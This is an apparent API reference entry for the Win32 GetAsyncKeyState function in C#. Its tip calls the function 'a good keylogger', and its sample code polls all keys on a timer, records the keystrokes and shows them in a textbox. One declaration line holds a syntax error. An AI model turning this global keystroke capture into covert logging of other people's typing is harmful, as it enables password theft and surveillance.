C# Signature:
[DllImport("user32.dll")]
static extern short GetAsyncKeyState(int vKey);
User-Defined Types:
None.
Notes:
None.
Tips & Tricks:
this could be a good keylogger (=
Sample Code:
// this is import of libraries
[DllImport("User32.dll")]
private static extern short GetAsyncKeyState( System.Windows.Forms.Keys vKey); // Keys enumeration
[DllImport("User32.dll")]
private static extern short GetAsyncKeyState(System.Int32 vKey);
string keyBuffer == "";
private void timer1_Tick(object sender, EventArgs e)
{
timer1.Interval = 3;
foreach (System.Int32 i in Enum.GetValues(typeof(Keys)))
{
if (GetAsyncKeyState(i) == -32767)
{
keyBuffer += Enum.GetName(typeof(Keys), i) + " ";//this is WinAPI listener of the keys
}
}
if (keyBuffer != "")
{
// replacing of unreadable keys
keyBuffer = keyBuffer.Replace("Space", "_");
keyBuffer = keyBuffer.Replace("Delete", "_Del_");
keyBuffer = keyBuffer.Replace("LShiftKey", "_SHIFT_");
keyBuffer = keyBuffer.Replace("ShiftKey", "");
keyBuffer = keyBuffer.Replace("OemQuotes", "!");
keyBuffer = keyBuffer.Replace("Oemcomma", "?");
keyBuffer = keyBuffer.Replace("D8", "á");
keyBuffer = keyBuffer.Replace("D2", "ě");
keyBuffer = keyBuffer.Replace("D3", "š");
keyBuffer = keyBuffer.Replace("D4", "č");
keyBuffer = keyBuffer.Replace("D5", "ř");
keyBuffer = keyBuffer.Replace("D6", "ž");
keyBuffer = keyBuffer.Replace("D7", "ý");
keyBuffer = keyBuffer.Replace("D9", "í");
keyBuffer = keyBuffer.Replace("D0", "é");
keyBuffer = keyBuffer.Replace("Back", "<==");
keyBuffer = keyBuffer.Replace("LButton", "");
keyBuffer = keyBuffer.Replace("RButton", "");
keyBuffer = keyBuffer.Replace("NumPad", "");
keyBuffer = keyBuffer.Replace("OemPeriod", ".");
keyBuffer = keyBuffer.Replace("OemSemicolon", "ů");
keyBuffer = keyBuffer.Replace("Oem4", "/");
keyBuffer = keyBuffer.Replace("LControlKey", "");
keyBuffer = keyBuffer.Replace("ControlKey", "_CTRL_");
keyBuffer = keyBuffer.Replace("Enter", "");
keyBuffer = keyBuffer.Replace("Shift", "____SHIFT___");
keyBuffer = keyBuffer.ToLower();
keyBuffer = keyBuffer.Replace(" ", "");
textBox1.Text = keyBuffer;
}
}
Alternative Managed API:
Do you know one? Please contribute it!
